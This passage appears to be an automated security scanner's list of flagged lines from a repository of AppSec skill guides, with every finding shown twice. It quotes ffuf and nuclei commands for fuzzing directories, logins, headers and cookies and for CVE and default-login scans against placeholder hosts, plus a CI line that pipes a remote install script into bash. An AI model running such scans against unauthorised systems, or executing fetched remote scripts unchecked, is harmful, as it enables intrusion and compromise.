  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/appsec/api-spectral/references/custom_rules_guide.md

  • Network accessline 550
    - [Spectral Rulesets Documentation](https://docs.stoplight.io/docs/spectral/docs/getting-started/rulesets.md)
  • Network accessline 550
    - [Spectral Rulesets Documentation](https://docs.stoplight.io/docs/spectral/docs/getting-started/rulesets.md)
  • Network accessline 551
    - [JSONPath Online Evaluator](https://jsonpath.com/)
  • Network accessline 551
    - [JSONPath Online Evaluator](https://jsonpath.com/)

skills/appsec/api-spectral/references/owasp_api_mappings.md

  • Network accessline 470
    - [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x11-t10/)
  • Network accessline 470
    - [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x11-t10/)
  • Network accessline 471
    - [Spectral Rulesets Documentation](https://docs.stoplight.io/docs/spectral/docs/getting-started/rulesets.md)
  • Network accessline 471
    - [Spectral Rulesets Documentation](https://docs.stoplight.io/docs/spectral/docs/getting-started/rulesets.md)
  • Network accessline 472
    - [OpenAPI Security Best Practices](https://swagger.io/docs/specification/authentication/)
  • Network accessline 472
    - [OpenAPI Security Best Practices](https://swagger.io/docs/specification/authentication/)

skills/appsec/dast-ffuf/SKILL.md

  • Network accessline 17
    tools: [ffuf] references:   - https://github.com/ffuf/ffuf
  • Network accessline 17
    tools: [ffuf] references:   - https://github.com/ffuf/ffuf
  • Network accessline 18
    references:   - https://github.com/ffuf/ffuf ---
  • Network accessline 18
    references:   - https://github.com/ffuf/ffuf ---
  • Network accessline 19
    - https://github.com/ffuf/ffuf
  • Network accessline 19
    - https://github.com/ffuf/ffuf
  • Network accessline 49
    # Directory discovery ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 49
    # Directory discovery ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 50
    ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 50
    ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 52
    # File discovery with extension ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt
  • Network accessline 52
    # File discovery with extension ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt
  • Network accessline 53
    ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt
  • Network accessline 53
    ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt
  • Network accessline 55
    # Virtual host discovery ffuf -u https://example.com -H "Host: FUZZ.example.com" -w subdomains.txt
  • Network accessline 55
    # Virtual host discovery ffuf -u https://example.com -H "Host: FUZZ.example.com" -w subdomains.txt
  • Network accessline 56
    ffuf -u https://example.com -H "Host: FUZZ.example.com" -w subdomains.txt
  • Network accessline 56
    ffuf -u https://example.com -H "Host: FUZZ.example.com" -w subdomains.txt
  • Network accessline 67
    ffuf -u https://target.com/FUZZ \
  • Network accessline 67
    ffuf -u https://target.com/FUZZ \
  • Network accessline 75
    ffuf -u https://target.com/admin/FUZZ \
  • Network accessline 75
    ffuf -u https://target.com/admin/FUZZ \
  • Network accessline 82
    ffuf -u https://target.com/FUZZ \
  • Network accessline 82
    ffuf -u https://target.com/FUZZ \
  • Network accessline 106
    ffuf -u https://target.com/api?FUZZ=test \
  • Network accessline 106
    ffuf -u https://target.com/api?FUZZ=test \
  • Network accessline 113
    ffuf -u https://target.com/api?id=FUZZ \
  • Network accessline 113
    ffuf -u https://target.com/api?id=FUZZ \
  • Network accessline 120
    # Form data ffuf -u https://target.com/login \
  • Network accessline 120
    # Form data ffuf -u https://target.com/login \
  • Network accessline 121
    ffuf -u https://target.com/login \
  • Network accessline 121
    ffuf -u https://target.com/login \
  • Network accessline 127
    # JSON data ffuf -u https://target.com/api/login \
  • Network accessline 127
    # JSON data ffuf -u https://target.com/api/login \
  • Network accessline 128
    ffuf -u https://target.com/api/login \
  • Network accessline 128
    ffuf -u https://target.com/api/login \
  • Network accessline 142
    ffuf -u https://target.com \
  • Network accessline 142
    ffuf -u https://target.com \
  • Network accessline 159
    ffuf -u https://target.com/login \
  • Network accessline 159
    ffuf -u https://target.com/login \
  • Network accessline 168
    ffuf -u https://target.com/login \
  • Network accessline 168
    ffuf -u https://target.com/login \
  • Network accessline 177
    ffuf -u https://target.com/login \
  • Network accessline 177
    ffuf -u https://target.com/login \
  • Network accessline 192
    ffuf -u https://target.com/FUZZ \
  • Network accessline 192
    ffuf -u https://target.com/FUZZ \
  • Network accessline 200
    ffuf -u https://target.com/FUZZ \
  • Network accessline 200
    ffuf -u https://target.com/FUZZ \
  • Network accessline 213
    ffuf -u https://target.com/FUZZ1/FUZZ2 \
  • Network accessline 213
    ffuf -u https://target.com/FUZZ1/FUZZ2 \
  • Network accessline 222
    ffuf -u https://target.com/login \
  • Network accessline 222
    ffuf -u https://target.com/login \
  • Network accessline 233
    ffuf -u https://target.com/FUZZ \
  • Network accessline 233
    ffuf -u https://target.com/FUZZ \
  • Network accessline 259
    # Automatically filter baseline responses ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 259
    # Automatically filter baseline responses ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 260
    ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 260
    ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 270
    # Enumerate API paths ffuf -u https://api.target.com/v1/FUZZ \
  • Network accessline 270
    # Enumerate API paths ffuf -u https://api.target.com/v1/FUZZ \
  • Network accessline 271
    ffuf -u https://api.target.com/v1/FUZZ \
  • Network accessline 271
    ffuf -u https://api.target.com/v1/FUZZ \
  • Network accessline 276
    # Fuzz API versions ffuf -u https://api.target.com/FUZZ/users \
  • Network accessline 276
    # Fuzz API versions ffuf -u https://api.target.com/FUZZ/users \
  • Network accessline 277
    ffuf -u https://api.target.com/FUZZ/users \
  • Network accessline 277
    ffuf -u https://api.target.com/FUZZ/users \
  • Network accessline 287
    # Brute-force extensions on known files ffuf -u https://target.com/admin.FUZZ \
  • Network accessline 287
    # Brute-force extensions on known files ffuf -u https://target.com/admin.FUZZ \
  • Network accessline 288
    ffuf -u https://target.com/admin.FUZZ \
  • Network accessline 288
    ffuf -u https://target.com/admin.FUZZ \
  • Network accessline 292
    # Or use -e flag for multiple extensions ffuf -u https://target.com/FUZZ \
  • Network accessline 292
    # Or use -e flag for multiple extensions ffuf -u https://target.com/FUZZ \
  • Network accessline 293
    ffuf -u https://target.com/FUZZ \
  • Network accessline 293
    ffuf -u https://target.com/FUZZ \
  • Network accessline 303
    # Add delay between requests ffuf -u https://target.com/FUZZ \
  • Network accessline 303
    # Add delay between requests ffuf -u https://target.com/FUZZ \
  • Network accessline 304
    ffuf -u https://target.com/FUZZ \
  • Network accessline 304
    ffuf -u https://target.com/FUZZ \
  • Network accessline 308
    # Limit concurrent requests ffuf -u https://target.com/FUZZ \
  • Network accessline 308
    # Limit concurrent requests ffuf -u https://target.com/FUZZ \
  • Network accessline 309
    ffuf -u https://target.com/FUZZ \
  • Network accessline 309
    ffuf -u https://target.com/FUZZ \
  • Network accessline 319
    # Fuzz custom headers ffuf -u https://target.com/admin \
  • Network accessline 319
    # Fuzz custom headers ffuf -u https://target.com/admin \
  • Network accessline 320
    ffuf -u https://target.com/admin \
  • Network accessline 320
    ffuf -u https://target.com/admin \
  • Network accessline 325
    # Fuzz header values ffuf -u https://target.com/admin \
  • Network accessline 325
    # Fuzz header values ffuf -u https://target.com/admin \
  • Network accessline 326
    ffuf -u https://target.com/admin \
  • Network accessline 326
    ffuf -u https://target.com/admin \
  • Network accessline 337
    # Fuzz cookie values ffuf -u https://target.com/dashboard \
  • Network accessline 337
    # Fuzz cookie values ffuf -u https://target.com/dashboard \
  • Network accessline 338
    ffuf -u https://target.com/dashboard \
  • Network accessline 338
    ffuf -u https://target.com/dashboard \
  • Network accessline 343
    # Fuzz cookie names ffuf -u https://target.com/admin \
  • Network accessline 343
    # Fuzz cookie names ffuf -u https://target.com/admin \
  • Network accessline 344
    ffuf -u https://target.com/admin \
  • Network accessline 344
    ffuf -u https://target.com/admin \
  • Network accessline 354
    # JSON output (recommended for parsing) ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.json -of json
  • Network accessline 354
    # JSON output (recommended for parsing) ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.json -of json
  • Network accessline 355
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.json -of json
  • Network accessline 355
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.json -of json
  • Network accessline 357
    # CSV output ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.csv -of csv
  • Network accessline 357
    # CSV output ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.csv -of csv
  • Network accessline 358
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.csv -of csv
  • Network accessline 358
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.csv -of csv
  • Network accessline 360
    # HTML report ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.html -of html
  • Network accessline 360
    # HTML report ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.html -of html
  • Network accessline 361
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.html -of html
  • Network accessline 361
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.html -of html
  • Network accessline 363
    # All formats ffuf -u https://target.com/FUZZ -w wordlist.txt -o results -of all
  • Network accessline 363
    # All formats ffuf -u https://target.com/FUZZ -w wordlist.txt -o results -of all
  • Network accessline 364
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results -of all
  • Network accessline 364
    ffuf -u https://target.com/FUZZ -w wordlist.txt -o results -of all
  • Network accessline 395
    # Run directory enumeration ffuf -u https://staging.example.com/FUZZ \
  • Network accessline 395
    # Run directory enumeration ffuf -u https://staging.example.com/FUZZ \
  • Network accessline 396
    ffuf -u https://staging.example.com/FUZZ \
  • Network accessline 396
    ffuf -u https://staging.example.com/FUZZ \
  • Network accessline 422
    # Auto-calibration ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 422
    # Auto-calibration ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 423
    ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 423
    ffuf -u https://target.com/FUZZ -w wordlist.txt -ac
  • Network accessline 425
    # Manual filtering by size ffuf -u https://target.com/FUZZ -w wordlist.txt -fs 1234,5678
  • Network accessline 425
    # Manual filtering by size ffuf -u https://target.com/FUZZ -w wordlist.txt -fs 1234,5678
  • Network accessline 426
    ffuf -u https://target.com/FUZZ -w wordlist.txt -fs 1234,5678
  • Network accessline 426
    ffuf -u https://target.com/FUZZ -w wordlist.txt -fs 1234,5678
  • Network accessline 433
    ffuf -u https://target.com/FUZZ \
  • Network accessline 433
    ffuf -u https://target.com/FUZZ \
  • Network accessline 444
    # Use top 1000 instead of full list head -1000 /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt > small.txt ffuf -u https://target.com/FUZZ -w small.txt
  • Network accessline 444
    # Use top 1000 instead of full list head -1000 /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt > small.txt ffuf -u https://target.com/FUZZ -w small.txt
  • Network accessline 446
    ffuf -u https://target.com/FUZZ -w small.txt
  • Network accessline 446
    ffuf -u https://target.com/FUZZ -w small.txt
  • Network accessline 453
    ffuf -u https://target.com/FUZZ \
  • Network accessline 453
    ffuf -u https://target.com/FUZZ \
  • Network accessline 474
    - [ffuf GitHub Repository](https://github.com/ffuf/ffuf)
  • Network accessline 474
    - [ffuf GitHub Repository](https://github.com/ffuf/ffuf)
  • Network accessline 475
    - [SecLists Wordlists](https://github.com/danielmiessler/SecLists)
  • Network accessline 475
    - [SecLists Wordlists](https://github.com/danielmiessler/SecLists)
  • Network accessline 476
    - [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 476
    - [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)

skills/appsec/dast-ffuf/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/appsec/dast-ffuf/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/appsec/dast-ffuf/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/appsec/dast-nuclei/SKILL.md

  • Network accessline 18
    optional: [docker, git] references:   - https://docs.projectdiscovery.io/tools/nuclei/overview
  • Network accessline 18
    optional: [docker, git] references:   - https://docs.projectdiscovery.io/tools/nuclei/overview
  • Network accessline 19
    references:   - https://docs.projectdiscovery.io/tools/nuclei/overview   - https://github.com/projectdiscovery/nuclei
  • Network accessline 19
    references:   - https://docs.projectdiscovery.io/tools/nuclei/overview   - https://github.com/projectdiscovery/nuclei
  • Network accessline 20
    - https://docs.projectdiscovery.io/tools/nuclei/overview
  • Network accessline 20
    - https://docs.projectdiscovery.io/tools/nuclei/overview
  • Network accessline 21
    - https://github.com/projectdiscovery/nuclei
  • Network accessline 21
    - https://github.com/projectdiscovery/nuclei
  • Network accessline 22
    - https://github.com/projectdiscovery/nuclei-templates
  • Network accessline 22
    - https://github.com/projectdiscovery/nuclei-templates
  • Network accessline 52
    # Scan single target with all templates nuclei -u https://target-app.com
  • Network accessline 52
    # Scan single target with all templates nuclei -u https://target-app.com
  • Network accessline 53
    nuclei -u https://target-app.com
  • Network accessline 53
    nuclei -u https://target-app.com
  • Network accessline 55
    # Scan with specific severity levels nuclei -u https://target-app.com -severity critical,high
  • Network accessline 55
    # Scan with specific severity levels nuclei -u https://target-app.com -severity critical,high
  • Network accessline 56
    nuclei -u https://target-app.com -severity critical,high
  • Network accessline 56
    nuclei -u https://target-app.com -severity critical,high
  • Network accessline 65
    # Scan for specific CVEs nuclei -u https://target-app.com -tags cve -severity critical,high
  • Network accessline 65
    # Scan for specific CVEs nuclei -u https://target-app.com -tags cve -severity critical,high
  • Network accessline 66
    nuclei -u https://target-app.com -tags cve -severity critical,high
  • Network accessline 66
    nuclei -u https://target-app.com -tags cve -severity critical,high
  • Network accessline 68
    # Scan for recent CVEs nuclei -u https://target-app.com -tags cve -severity critical -template-condition "contains(id, 'CVE-')"
  • Network accessline 68
    # Scan for recent CVEs nuclei -u https://target-app.com -tags cve -severity critical -template-condition "contains(id, 'CVE-')"
  • Network accessline 69
    nuclei -u https://target-app.com -tags cve -severity critical -template-condition "contains(id, 'CVE-')"
  • Network accessline 69
    nuclei -u https://target-app.com -tags cve -severity critical -template-condition "contains(id, 'CVE-')"
  • Network accessline 124
    # Conservative scan (avoid overwhelming target) nuclei -u https://target-app.com \
  • Network accessline 124
    # Conservative scan (avoid overwhelming target) nuclei -u https://target-app.com \
  • Network accessline 125
    nuclei -u https://target-app.com \
  • Network accessline 125
    nuclei -u https://target-app.com \
  • Network accessline 131
    # Aggressive scan (faster, higher load) nuclei -u https://target-app.com \
  • Network accessline 131
    # Aggressive scan (faster, higher load) nuclei -u https://target-app.com \
  • Network accessline 132
    nuclei -u https://target-app.com \
  • Network accessline 132
    nuclei -u https://target-app.com \
  • Network accessline 153
    # Focus on critical and high severity issues nuclei -u https://target-app.com \
  • Network accessline 153
    # Focus on critical and high severity issues nuclei -u https://target-app.com \
  • Network accessline 154
    nuclei -u https://target-app.com \
  • Network accessline 154
    nuclei -u https://target-app.com \
  • Network accessline 163
    # Scan specific technology stack nuclei -u https://target-app.com -tags apache,nginx,wordpress,drupal
  • Network accessline 163
    # Scan specific technology stack nuclei -u https://target-app.com -tags apache,nginx,wordpress,drupal
  • Network accessline 164
    nuclei -u https://target-app.com -tags apache,nginx,wordpress,drupal
  • Network accessline 164
    nuclei -u https://target-app.com -tags apache,nginx,wordpress,drupal
  • Network accessline 166
    # Scan for exposed sensitive files nuclei -u https://target-app.com -tags exposure,config
  • Network accessline 166
    # Scan for exposed sensitive files nuclei -u https://target-app.com -tags exposure,config
  • Network accessline 167
    nuclei -u https://target-app.com -tags exposure,config
  • Network accessline 167
    nuclei -u https://target-app.com -tags exposure,config
  • Network accessline 169
    # Scan for authentication issues nuclei -u https://target-app.com -tags auth,login,default-logins
  • Network accessline 169
    # Scan for authentication issues nuclei -u https://target-app.com -tags auth,login,default-logins
  • Network accessline 170
    nuclei -u https://target-app.com -tags auth,login,default-logins
  • Network accessline 170
    nuclei -u https://target-app.com -tags auth,login,default-logins
  • Network accessline 175
    # API-focused security testing nuclei -u https://api.target.com \
  • Network accessline 175
    # API-focused security testing nuclei -u https://api.target.com \
  • Network accessline 176
    [Credential-related source omitted]
  • Network accessline 176
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 179
    [Credential-related source omitted]
  • Access to secretsline 179
    [Credential-related source omitted]
  • Network accessline 184
    # Scan with organization-specific templates nuclei -u https://target-app.com \
  • Network accessline 184
    # Scan with organization-specific templates nuclei -u https://target-app.com \
  • Network accessline 185
    nuclei -u https://target-app.com \
  • Network accessline 185
    nuclei -u https://target-app.com \
  • Network accessline 196
    # Scan with authentication headers nuclei -u https://target-app.com \
  • Network accessline 196
    # Scan with authentication headers nuclei -u https://target-app.com \
  • Network accessline 197
    [Credential-related source omitted]
  • Network accessline 197
    [Credential-related source omitted]
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 198
    [Credential-related source omitted]
  • Network accessline 202
    # Scan with custom authentication using bundled script python3 scripts/nuclei_auth_scan.py \   --target https://target-app.com \
  • Network accessline 202
    # Scan with custom authentication using bundled script python3 scripts/nuclei_auth_scan.py \   --target https://target-app.com \
  • Network accessline 203
    [Credential-related source omitted]
  • Network accessline 203
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 204
    --target https://target-app.com \
  • Network accessline 204
    --target https://target-app.com \
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Network accessline 224
    # Filter and verify findings nuclei -u https://target-app.com \
  • Network accessline 224
    # Filter and verify findings nuclei -u https://target-app.com \
  • Network accessline 225
    nuclei -u https://target-app.com \
  • Network accessline 225
    nuclei -u https://target-app.com \
  • Network accessline 241
    # 1. Initial scan nuclei -u https://target-app.com -severity critical,high -o scan1.txt
  • Network accessline 241
    # 1. Initial scan nuclei -u https://target-app.com -severity critical,high -o scan1.txt
  • Network accessline 242
    nuclei -u https://target-app.com -severity critical,high -o scan1.txt
  • Network accessline 242
    nuclei -u https://target-app.com -severity critical,high -o scan1.txt
  • Network accessline 246
    # 3. Re-scan to verify remediation nuclei -u https://target-app.com -severity critical,high -o scan2.txt
  • Network accessline 246
    # 3. Re-scan to verify remediation nuclei -u https://target-app.com -severity critical,high -o scan2.txt
  • Network accessline 247
    nuclei -u https://target-app.com -severity critical,high -o scan2.txt
  • Network accessline 247
    nuclei -u https://target-app.com -severity critical,high -o scan2.txt
  • Network accessline 266
    # Export to SARIF for GitHub Security tab nuclei -u https://target-app.com \
  • Network accessline 266
    # Export to SARIF for GitHub Security tab nuclei -u https://target-app.com \
  • Network accessline 267
    nuclei -u https://target-app.com \
  • Network accessline 267
    nuclei -u https://target-app.com \
  • Network accessline 290
    uses: projectdiscovery/nuclei-action@main         with:           target: https://staging.target-app.com
  • Network accessline 290
    uses: projectdiscovery/nuclei-action@main         with:           target: https://staging.target-app.com
  • Network accessline 291
    with:           target: https://staging.target-app.com           severity: critical,high
  • Network accessline 291
    with:           target: https://staging.target-app.com           severity: critical,high
  • Network accessline 292
    target: https://staging.target-app.com
  • Network accessline 292
    target: https://staging.target-app.com
  • Access to secretsline 358
    [Credential-related source omitted]
  • Access to secretsline 358
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]
  • Access to secretsline 373
    [Credential-related source omitted]
  • Access to secretsline 373
    [Credential-related source omitted]
  • Access to secretsline 375
    [Credential-related source omitted]
  • Access to secretsline 375
    [Credential-related source omitted]
  • Network accessline 379
    - `references/template_development.md` - Complete template authoring guide - `assets/template_examples/` - Sample templates for common patterns - [Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction)
  • Network accessline 379
    - `references/template_development.md` - Complete template authoring guide - `assets/template_examples/` - Sample templates for common patterns - [Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction)
  • Network accessline 381
    - [Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction)
  • Network accessline 381
    - [Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction)
  • Network accessline 427
    # Stage 1: Critical vulnerabilities only (fast) nuclei -u https://target-app.com -severity critical -o critical.txt
  • Network accessline 427
    # Stage 1: Critical vulnerabilities only (fast) nuclei -u https://target-app.com -severity critical -o critical.txt
  • Network accessline 428
    nuclei -u https://target-app.com -severity critical -o critical.txt
  • Network accessline 428
    nuclei -u https://target-app.com -severity critical -o critical.txt
  • Network accessline 430
    # Stage 2: High severity if critical issues found if [ -s critical.txt ]; then   nuclei -u https://target-app.com -severity high -o high.txt
  • Network accessline 430
    # Stage 2: High severity if critical issues found if [ -s critical.txt ]; then   nuclei -u https://target-app.com -severity high -o high.txt
  • Network accessline 431
    if [ -s critical.txt ]; then   nuclei -u https://target-app.com -severity high -o high.txt fi
  • Network accessline 431
    if [ -s critical.txt ]; then   nuclei -u https://target-app.com -severity high -o high.txt fi
  • Network accessline 432
    nuclei -u https://target-app.com -severity high -o high.txt
  • Network accessline 432
    nuclei -u https://target-app.com -severity high -o high.txt
  • Network accessline 435
    # Stage 3: Medium/Low for comprehensive assessment nuclei -u https://target-app.com -severity medium,low -o all-findings.txt
  • Network accessline 435
    # Stage 3: Medium/Low for comprehensive assessment nuclei -u https://target-app.com -severity medium,low -o all-findings.txt
  • Network accessline 436
    nuclei -u https://target-app.com -severity medium,low -o all-findings.txt
  • Network accessline 436
    nuclei -u https://target-app.com -severity medium,low -o all-findings.txt
  • Network accessline 444
    # 1. Identify technologies nuclei -u https://target-app.com -tags tech -o tech-detected.txt
  • Network accessline 444
    # 1. Identify technologies nuclei -u https://target-app.com -tags tech -o tech-detected.txt
  • Network accessline 445
    nuclei -u https://target-app.com -tags tech -o tech-detected.txt
  • Network accessline 445
    nuclei -u https://target-app.com -tags tech -o tech-detected.txt
  • Network accessline 450
    # 3. Scan for technology-specific vulnerabilities for tech in $TECHS; do   nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt
  • Network accessline 450
    # 3. Scan for technology-specific vulnerabilities for tech in $TECHS; do   nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt
  • Network accessline 451
    for tech in $TECHS; do   nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt done
  • Network accessline 451
    for tech in $TECHS; do   nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt done
  • Network accessline 452
    nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt
  • Network accessline 452
    nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt
  • Network accessline 461
    # Stage 1: API discovery and fingerprinting nuclei -u https://api.target.com -tags api,swagger,graphql -o api-discovery.txt
